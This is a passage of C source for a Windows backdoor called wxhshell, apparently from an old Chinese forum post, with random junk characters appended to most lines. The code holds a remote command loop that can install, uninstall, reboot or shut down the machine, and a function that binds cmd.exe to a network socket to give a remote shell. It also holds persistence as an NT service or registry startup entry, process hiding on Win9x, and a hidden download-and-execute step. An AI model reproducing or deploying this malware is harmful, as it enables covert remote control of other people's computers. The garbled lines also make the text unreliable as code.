  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jo8hVWJ7V*  
  } G^`IfF-j  
  else { GESEj%R/b  
QgZwU$`p0  
    switch(cmd[0]) { yM *-e m  
  F%t_9S,)O  
  // 帮助 ADTx _tE  
  case '?': { /!l$Y?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b ?p <y`  
    break; X0\2qD  
  } -bN;nSgb  
  // 安装 OT*C7=  
  case 'i': { q`HuVilNH  
    if(Install()) _(K)(&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Aj854 L(!  
    else JumZ>\'p(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tai=2,'  
    break; TN xl?5:  
    } ~6HpI0i  
  // 卸载 :2'y=t#  
  case 'r': { )U?Tmh  
    if(Uninstall()) MM}lW-q;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *&f^R}O  
    else t<)Cbple\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); L\cd=&b`  
    break; T<hS  
    } s$cr|p;7#  
  // 显示 wxhshell 所在路径 'MM%Sm,  
  case 'p': { 9Q~9C9{+  
    char svExeFile[MAX_PATH]; Mbj{C  
    strcpy(svExeFile,"\n\r"); >UUcKq1M:  
      strcat(svExeFile,ExeFile); pO^PkX  
        send(wsh,svExeFile,strlen(svExeFile),0); Tz\ PQ)!  
    break; YP^=b}  
    } JHxy_<p/  
  // 重启 F/ZB%;O9  
  case 'b': { rBOxI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); }?K vT$s  
    if(Boot(REBOOT)) g[oa'.*OB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~AVn$];{  
    else { R&>G6jZ?8  
    closesocket(wsh); <G9HVMiP  
    ExitThread(0); .!fhy[%o:D  
    } #.<Uy."z2  
    break; ~  4v  
    } WpPm|h  
  // 关机 Mnu8d:$  
  case 'd': { pyvH [  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Z~g6C0  
    if(Boot(SHUTDOWN)) p<eu0B_V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <>n-+Kr  
    else { I~^t\iujs  
    closesocket(wsh); 3 291"0  
    ExitThread(0); GI+x,p  
    } 6:fHPlqW  
    break; 7Ei,L[{\i#  
    } ans(^Up$  
  // 获取shell 04K[U9W3  
  case 's': { _d|CO  
    CmdShell(wsh); iS p +~  
    closesocket(wsh); R[C+?qux  
    ExitThread(0); Kyf,<z F  
    break; q7}rD$  
  } Y X`BX$  
  // 退出 ^(j}'p,  
  case 'x': { {\1:2UKkr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1^f7  
    CloseIt(wsh); b< dwf[  
    break; ',WnT:  
    } "QKCZ8_C  
  // 离开 YiO3.+H  
  case 'q': { h23"<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Fy; sVB  
    closesocket(wsh); e^LjB/<Th  
    WSACleanup(); WE{fu{x  
    exit(1); XIGz_g;#'w  
    break; {Jna' eS  
        } ~+A(zlYr~  
  } -wh?9 ?W  
  } h SeXxSb:  
]9 JLu8GO  
  // 提示信息 R)@2={fd}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :F |ll?  
} J~]Y  
  } |)+s,LT5  
tJM#/yT  
  return; =bBV A0y  
} "t.Jv%0=  
!K8Kw W|X  
// shell模块句柄 wD\viu q0  
int CmdShell(SOCKET sock) \,AE5hnO  
{ C`@gsF"<7  
STARTUPINFO si; 9\zasa  
ZeroMemory(&si,sizeof(si)); &E]<dmR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;u8a%h!  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; >\7M f@c  
PROCESS_INFORMATION ProcessInfo; V&h{a8xa$  
char cmdline[]="cmd"; ;p(I0X  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r4isn^g  
  return 0; 'OACbYgG  
} E0*KKo%  
q4EOI  
// 自身启动模式 :`>$B?x+  
int StartFromService(void) Mp?Gi7o=  
{ :MP*Xy\7&J  
typedef struct w+wg)$i  
{ 8nu@6)#  
  DWORD ExitStatus; l(y,lK=YP1  
  DWORD PebBaseAddress; 1K UM!DUD  
  DWORD AffinityMask; V0<g$,W=  
  DWORD BasePriority; 3;O4o]`  
  ULONG UniqueProcessId; ;e"dxAUe!^  
  ULONG InheritedFromUniqueProcessId; 8FIk|p|l^  
}   PROCESS_BASIC_INFORMATION; 8345 H  
T4nWK!}z  
PROCNTQSIP NtQueryInformationProcess; _UA|0a!-  
4 Aj<k  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i91 =h   
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~m'8<B5+  
h+ms%tNT  
  HANDLE             hProcess; }G)2HTaZ  
  PROCESS_BASIC_INFORMATION pbi; U*:ju+)k  
oj(st{,  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4;bc!> sfC  
  if(NULL == hInst ) return 0;  SDc8\ms  
LPeVr^  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); -N'wKT5  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); A>ve|us$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l*$~Y0  
.(&w/jR  
  if (!NtQueryInformationProcess) return 0; FVxORQI  
T)I\?hqTB  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 2lCgUe)N  
  if(!hProcess) return 0; b/w5K2  
zIA)se Js  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; SajG67  
L)n_  Q  
  CloseHandle(hProcess); TVM19)9  
.0rTk$B  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 0j!xv(1  
if(hProcess==NULL) return 0; A"O\u=!  
y9N6!M|'y  
HMODULE hMod; [}=a6Q>)  
char procName[255]; DbSR(:  
unsigned long cbNeeded; }1DzWS-hh  
/iEQ}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ne)3@?  
1l'JoU.<  
  CloseHandle(hProcess); o%,?v 9  
y`i?Qo3  
if(strstr(procName,"services")) return 1; // 以服务启动 M>Q3;s  
vGnFX0?h  
  return 0; // 注册表启动 25Ro )5  
} kWacc&*|  
bzr QQQ  
// 主模块 Hr7?#ZX;e  
int StartWxhshell(LPSTR lpCmdLine) kTcW=AXu  
{ |[0Ijm2  
  SOCKET wsl; 6V"u ovN2  
BOOL val=TRUE; T/.UMw  
  int port=0; O ^!Bc}$  
  struct sockaddr_in door;  "D'rsEh  
~.4y* &  
  if(wscfg.ws_autoins) Install(); &lgzNC9g%  
~Zn|(  
port=atoi(lpCmdLine); AmZW=n2^  
}[=)sb_  
if(port<=0) port=wscfg.ws_port; ULhXyItL  
BIS.,  
  WSADATA data; Fi'ZId  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; n2~WUK  
rvU^W+d  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   2rW9ja  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qW4DW4  
  door.sin_family = AF_INET; +\*b?x  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); :7i x`C2  
  door.sin_port = htons(port); Eg&:yF}?(  
)4h|7^6ji  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { A.mFa1lH  
closesocket(wsl); !x:{"  
return 1; U[2;Fkapi  
} /i dI-  
cs7^#/3<  
  if(listen(wsl,2) == INVALID_SOCKET) { Fe %Vp/  
closesocket(wsl); vcCNxIzEG  
return 1; B9Mp3[   
} d >NO}MR  
  Wxhshell(wsl); d&AO 4^  
  WSACleanup(); ^<Gxip  
y@,PTF  
return 0; @lX%Fix9  
5rfDm  
} J[05T1  
-L4G)%L\  
// 以NT服务方式启动 4x}U+1B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cIQbu#[@  
{ 8AuE:=?,,  
DWORD   status = 0; 9Zj3"v+b  
  DWORD   specificError = 0xfffffff; }& W=  
5]up%.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 4JU 2x  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; XjCx`bX^<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :?j=MV  
  serviceStatus.dwWin32ExitCode     = 0; :nR80]  
  serviceStatus.dwServiceSpecificExitCode = 0; }K@m4`T  
  serviceStatus.dwCheckPoint       = 0; b`$qKO  
  serviceStatus.dwWaitHint       = 0; B'Jf&v  
4:S]n19nq  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &ds+9A  
  if (hServiceStatusHandle==0) return; xJAQ'ANr  
OjAdY\ ]1  
status = GetLastError(); n.qT7d(  
  if (status!=NO_ERROR) IU5T5p  
{ $U. |  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; w;{Q)_A  
    serviceStatus.dwCheckPoint       = 0; OF={k[  
    serviceStatus.dwWaitHint       = 0; M 87CP=yc  
    serviceStatus.dwWin32ExitCode     = status; G[JWG  
    serviceStatus.dwServiceSpecificExitCode = specificError; N Uv Vhy]{  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); #rF`Hk:  
    return; _WvVF*Q"k  
  } M)!"R [V  
$./aK J1B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7G^Q2w  
  serviceStatus.dwCheckPoint       = 0; *r[V[9+y-D  
  serviceStatus.dwWaitHint       = 0; kX+9U"` C  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 0;@>jo6,!  
} d/jP2uu A  
`A%WCd60Tc  
// 处理NT服务事件,比如:启动、停止 vb?.`B_>&  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9od*N$  
{ c_S~{a44Ud  
switch(fdwControl) S5u$I  
{ kS &>g  
case SERVICE_CONTROL_STOP: XVqkw@Ia4!  
  serviceStatus.dwWin32ExitCode = 0; U]gUGD!5x  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 7M4J{}9  
  serviceStatus.dwCheckPoint   = 0; 9PA<g3z  
  serviceStatus.dwWaitHint     = 0; 37kVJQcA1  
  { ^+CWo@.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); L%(NXSfu7  
  } 49M1^nMvoo  
  return; nIr`T^c9c  
case SERVICE_CONTROL_PAUSE: j`"!G*Vh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; #) :.1Z?  
  break; %cg| KB"l  
case SERVICE_CONTROL_CONTINUE: .{c7 I!8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1++g @8  
  break; vG'#5%,|  
case SERVICE_CONTROL_INTERROGATE: 8Th,C{  
  break; jd-ccnR l  
}; o+}k$i!6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); I/O/*^T  
} =f y|Dm74  
&PRoT#,  
// 标准应用程序主函数 J,)ytw]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h2T\%V_j  
{ _J!&R:]$  
/{`"X_.o  
// 获取操作系统版本 &.?E[db"h  
OsIsNt=GetOsVer(); tm5)x^7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l*z% Jw  
|u?VlRt  
  // 从命令行安装 _"B.V(  
  if(strpbrk(lpCmdLine,"iI")) Install(); xl`AiO `K  
zsQ|LwQ  
  // 下载执行文件 {icTfPR4E  
if(wscfg.ws_downexe) { ("t'XKP&N  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ,>rvl P  
  WinExec(wscfg.ws_filenam,SW_HIDE); mi<Q3;m  
} X*@ tp,t  
`j@1]%&z  
if(!OsIsNt) { m N}szW,  
// 如果时win9x,隐藏进程并且设置为注册表启动 64mEZ_kG,  
HideProc(); _3@5@1[s  
StartWxhshell(lpCmdLine); x1#>"z7  
} 7~QI4'e  
else ur8+k4] \"  
  if(StartFromService()) )Ln".Bu,  
  // 以服务方式启动 ciN\SA ZY  
  StartServiceCtrlDispatcher(DispatchTable); h#O9TB  
else |xcI~ X7Q  
  // 普通方式启动 X>=`l)ZR  
  StartWxhshell(lpCmdLine); p__wBUB  
ceE]^X;p  
return 0; c?HUW  
}
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只看该作者 1 发表于: 2006-10-10
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